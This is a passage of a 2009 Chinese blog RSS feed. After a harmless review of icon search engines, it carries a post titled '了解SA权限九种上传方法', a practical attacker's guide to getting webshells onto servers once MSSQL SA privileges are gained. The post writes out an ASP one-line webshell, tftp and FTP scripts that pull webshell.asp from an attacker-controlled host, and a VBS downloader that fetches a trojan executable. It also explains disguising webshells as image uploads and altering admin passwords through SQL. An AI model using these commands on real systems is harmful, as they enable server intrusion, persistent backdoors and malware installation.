href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e12f1d086adc67eb051e063d52777871&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e12f1d086adc67eb051e063d52777871&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=bcf2ff337932c6aefc68a15f23b9a7a7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=bcf2ff337932c6aefc68a15f23b9a7a7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3694817058a5d7eb8b12e57c2ea9704e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3694817058a5d7eb8b12e57c2ea9704e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=2e5bc338195ba12090bc7983a28e2c07&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=2e5bc338195ba12090bc7983a28e2c07&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=97154df4bc5eff95812e6718898ec97c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=97154df4bc5eff95812e6718898ec97c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=fa25354487900f5a9436f3d7afcad382&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=fa25354487900f5a9436f3d7afcad382&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=51e63e440a104900848faabd675a8915&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=51e63e440a104900848faabd675a8915&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=22a4371fc1ec936b77422ae58255170a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=22a4371fc1ec936b77422ae58255170a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=4475c162d87e99f1521684e4c6f0c188&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=4475c162d87e99f1521684e4c6f0c188&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2009/12/18/4icon/Pray.html/feed</wfw:commentRss><slash:comments>42</slash:comments><description>Iconfinder
这是其中一个最好的图标搜索引擎，在它们的数据库里面存储了超过1000多个图标资源，你可以输入一个你需要的相关的图标关键词进行搜索。 其Ajax的导航，使一件轻而易举的找到新的图标。每个图标在搜索结果中进行，其标记，下载链接和许可证信息。 无需翻阅页面得到下载图标，击中下载图标，该图标将被下载。大部分的图标漂亮，可以用来在现代或Web 2.0的设计。
Iconlet
另一个图标搜索引擎，它也运作良好。 在这里你会得到很多更多的图标下载，但结果并不很清楚分类，你会发现图标分组无关的某些关键字。图标看起来很老式，而不是漂亮。 列出的许可信息不同的网页。
Iconlook
又一款图标搜索引擎的加入者，列出了许多图标。大部分的图标都很不错，可用于现代的网页设计。图标搜索结果中显示的图标大小。
icons-search
图标搜索是一个图标的搜索引擎，帮助您查找质量图标因特网上查到。 你可以找到图标用于Windows Vista和Windows XP ， Macintosh上， Linux的图标用于桌面电脑，软件，网站，移动，演示，在大小从16×16到256×256在PNG格式和大小从16×16到128×128 ，在保险公司条例格式。 图标的版权均属于各自所有权人所有。使用前的图标（或者非商业或商业）您必须检查许可证的图标提供商。它通常可在图标供应商的网站或在图标存档。
文章地址:http://www.nodll.com/2009/12/18/4icon/Pray.html&lt;img src=&quot;http://www1.feedsky.com/t1/323289015/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289015/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323289015/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323289015/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e12f1d086adc67eb051e063d52777871&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e12f1d086adc67eb051e063d52777871&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=bcf2ff337932c6aefc68a15f23b9a7a7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=bcf2ff337932c6aefc68a15f23b9a7a7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3694817058a5d7eb8b12e57c2ea9704e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3694817058a5d7eb8b12e57c2ea9704e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=2e5bc338195ba12090bc7983a28e2c07&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=2e5bc338195ba12090bc7983a28e2c07&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=97154df4bc5eff95812e6718898ec97c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=97154df4bc5eff95812e6718898ec97c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=fa25354487900f5a9436f3d7afcad382&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=fa25354487900f5a9436f3d7afcad382&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=51e63e440a104900848faabd675a8915&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=51e63e440a104900848faabd675a8915&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=22a4371fc1ec936b77422ae58255170a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=22a4371fc1ec936b77422ae58255170a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=4475c162d87e99f1521684e4c6f0c188&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=4475c162d87e99f1521684e4c6f0c188&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>Linux</category><category>图标</category><category>搜索引擎</category><category>windows</category><category>Icon</category><pubDate>Fri, 18 Dec 2009 17:09:57 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2009/12/18/4icon/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=189</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2009/12/18/4icon/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323289015/6037734</fs:itemid></item><item><title>了解SA权限九种上传方法</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289047/6037734/1/item.html</link><content:encoded>&lt;p&gt;SA权限权利非常大,但可能有的朋友感觉使用起来不方便,接下来和大家一起讨论几种上传文件的方法,如果还有别的方法,希望大家能分享出来.&lt;/p&gt;
&lt;p&gt;1、NBSI的命令方法:写入一句话木SHELL,命令如下:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;echo ^&amp;amp;lt;25%execute request(&amp;quot;#&amp;quot;)25%^&amp;amp;gt; &amp;amp;gt;d:\web\mm.asp&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;这样要写入一句话木马,如果说被杀软,KILL掉,就可以连上去了。net stop &amp;#8220;服务名&amp;#8221;可以停掉服务。&lt;/p&gt;
&lt;p&gt;2、NBSI3.0自带文件上传功能，也可以使用。缺点速度慢。建议上传短小的WEBSHELL。&lt;/p&gt;
&lt;p&gt;3、把一句话木马与入数据库，然后利用NBSI数据库差异备份功能。&lt;/p&gt;
&lt;p&gt;4、如网站有论坛且开放上传附件功能，可直接在论坛上传文件（把WEBSHELL改成可能上传的文件类型，如JPG，GIF）&lt;/p&gt;
&lt;p&gt;5、利用NBSI等注入工具，浏览网站数据库连接文件（前提数据库和WEB在一台机器上，可利用IPCNFIG /ALL命令判断）找出SA的连接密码。利用MSSQL2000自带的事件查询分析器，连数库机器，通过浏览数据库找出后台密码，如果是MD5可利用Update语句进行更改也可利用Insert加入一新用户，不用在爆破MD5，进入后台，寻找上传WEBSHELL方法。&lt;/p&gt;
&lt;p&gt;6、tftp命令法： TFTP [-i] host [GET | PUT] source [destination]  首先在自己的机器或已经控制的肉鸡上开TFTP服务，工具：TFTP32.EXE不错。比如：肉鸡IP：192.168.1.1 具有SA权限的机器是192.168.1.2 执行命令:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;tftp -i 192.168.1.1 get webshell.asp d:\web\webshell.asp&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;如果成功,就会在192.168.1.2的D盘web 目录下生成文件:webshell.asp&lt;/p&gt;
&lt;p&gt;7、ftp方法:前提是有一个可访问的外网FTP空间().命令ECHO命令,前面讲的方法:在目标机器上生成文件ftp.txt&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;echo open www.ftp.com&amp;gt;ftp.txt //连接FTP
echo username&amp;gt;&amp;gt;ftp.txt       //输入用户名
echo password&amp;gt;&amp;gt;ftp.txt       //输入密码
echo get webshell.asp d:\web\webshell.asp&amp;gt;&amp;gt;ftp.txt //执行下载命令
echo bye&amp;gt;&amp;gt;ftp.txt             //退出
ftp -s:ftp.txt                //执行FTP.TXT文件中的FTP命令&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;8、vbs脚本方法:&lt;br /&gt;
利用ECHO命令写入文件: get.vbs,内容如下:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;On Error Resume Next
Dim iRemote,iLocal
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = createObject(&amp;quot;Microsoft.XMLHTTP&amp;quot;)
xPost.Open &amp;quot;GET&amp;quot;,iRemote,0
xPost.Send()
Set sGet = createObject(&amp;quot;ADODB.Stream&amp;quot;)
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;然后命令行下执行:cscript get.vbs http://ip/muma.exe c:\muma.exe&lt;/p&gt;
&lt;p&gt;9、start命令法，此方法不常用，但也是一种方法，&lt;br /&gt;
start http://ip/a.html这候a.html文件以及它包括的图片会保存在机器的，如果我们把自己的程序改名为a.jpg嵌套在a.html中这时候可以下载到IE缓存中。可以利用dir /s a*.jpg进行搜索。如搜索到，可以利用COPY命令复制出来。&lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2009/12/09/sa9/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2009/12/09/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;sa9&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323289047/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289047/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323289047/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323289047/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=22c2b132884bc6da3d3891ba5bbae8e6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=22c2b132884bc6da3d3891ba5bbae8e6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=4e41673e06bc1c677d784211fcf8bdbf&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=4e41673e06bc1c677d784211fcf8bdbf&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9369b066b028372aa29b3a94883a33a0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9369b066b028372aa29b3a94883a33a0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=02ec9ec98b3c521dcbb172f3f045bdde&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=02ec9ec98b3c521dcbb172f3f045bdde&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=23969e71abd2da53e8ef67877dcdd740&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=23969e71abd2da53e8ef67877dcdd740&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1cdc70bd02014557986b4da9aba0e9ef&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1cdc70bd02014557986b4da9aba0e9ef&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=eb504473b76b316a9f458ecd69152537&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=eb504473b76b316a9f458ecd69152537&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=f0e10754fc7ab5236704d4daaa322508&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=f0e10754fc7ab5236704d4daaa322508&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=54f116b85cb6ef3766c7f9b33d8b1c5c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=54f116b85cb6ef3766c7f9b33d8b1c5c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2009/12/09/sa9/Pray.html/feed</wfw:commentRss><slash:comments>23</slash:comments><description>SA权限权利非常大,但可能有的朋友感觉使用起来不方便,接下来和大家一起讨论几种上传文件的方法,如果还有别的方法,希望大家能分享出来.
1、NBSI的命令方法:写入一句话木SHELL,命令如下:

1
echo ^&amp;#38;lt;25%execute request(&amp;#34;#&amp;#34;)25%^&amp;#38;gt; &amp;#38;gt;d:\web\mm.asp

这样要写入一句话木马,如果说被杀软,KILL掉,就可以连上去了。net stop &amp;#8220;服务名&amp;#8221;可以停掉服务。
2、NBSI3.0自带文件上传功能，也可以使用。缺点速度慢。建议上传短小的WEBSHELL。
3、把一句话木马与入数据库，然后利用NBSI数据库差异备份功能。
4、如网站有论坛且开放上传附件功能，可直接在论坛上传文件（把WEBSHELL改成可能上传的文件类型，如JPG，GIF）
5、利用NBSI等注入工具，浏览网站数据库连接文件（前提数据库和WEB在一台机器上，可利用IPCNFIG /ALL命令判断）找出SA的连接密码。利用MSSQL2000自带的事件查询分析器，连数库机器，通过浏览数据库找出后台密码，如果是MD5可利用Update语句进行更改也可利用Insert加入一新用户，不用在爆破MD5，进入后台，寻找上传WEBSHELL方法。
6、tftp命令法： TFTP [-i] host [GET &amp;#124; PUT] source [destination]  首先在自己的机器或已经控制的肉鸡上开TFTP服务，工具：TFTP32.EXE不错。比如：肉鸡IP：192.168.1.1 具有SA权限的机器是192.168.1.2 执行命令:

1
tftp -i 192.168.1.1 get webshell.asp d:\web\webshell.asp

如果成功,就会在192.168.1.2的D盘web 目录下生成文件:webshell.asp
7、ftp方法:前提是有一个可访问的外网FTP空间().命令ECHO命令,前面讲的方法:在目标机器上生成文件ftp.txt

1
2
3
4
5
6
echo open www.ftp.com&amp;#62;ftp.txt //连接FTP
echo username&amp;#62;&amp;#62;ftp.txt       //输入用户名
echo password&amp;#62;&amp;#62;ftp.txt       //输入密码
echo get webshell.asp d:\web\webshell.asp&amp;#62;&amp;#62;ftp.txt //执行下载命令
echo bye&amp;#62;&amp;#62;ftp.txt        [...]&lt;img src=&quot;http://www1.feedsky.com/t1/323289047/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289047/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323289047/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323289047/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=22c2b132884bc6da3d3891ba5bbae8e6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=22c2b132884bc6da3d3891ba5bbae8e6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=4e41673e06bc1c677d784211fcf8bdbf&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=4e41673e06bc1c677d784211fcf8bdbf&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9369b066b028372aa29b3a94883a33a0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9369b066b028372aa29b3a94883a33a0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=02ec9ec98b3c521dcbb172f3f045bdde&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=02ec9ec98b3c521dcbb172f3f045bdde&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=23969e71abd2da53e8ef67877dcdd740&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=23969e71abd2da53e8ef67877dcdd740&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1cdc70bd02014557986b4da9aba0e9ef&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1cdc70bd02014557986b4da9aba0e9ef&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=eb504473b76b316a9f458ecd69152537&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=eb504473b76b316a9f458ecd69152537&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=f0e10754fc7ab5236704d4daaa322508&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=f0e10754fc7ab5236704d4daaa322508&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=54f116b85cb6ef3766c7f9b33d8b1c5c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=54f116b85cb6ef3766c7f9b33d8b1c5c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>md5</category><category>shell</category><category>木马</category><category>服务</category><category>ftp</category><category>ip</category><category>Web</category><category>安全防护</category><pubDate>Wed, 09 Dec 2009 13:24:45 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2009/12/09/sa9/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=185</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2009/12/09/sa9/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323289047/6037734</fs:itemid></item></channel></rss>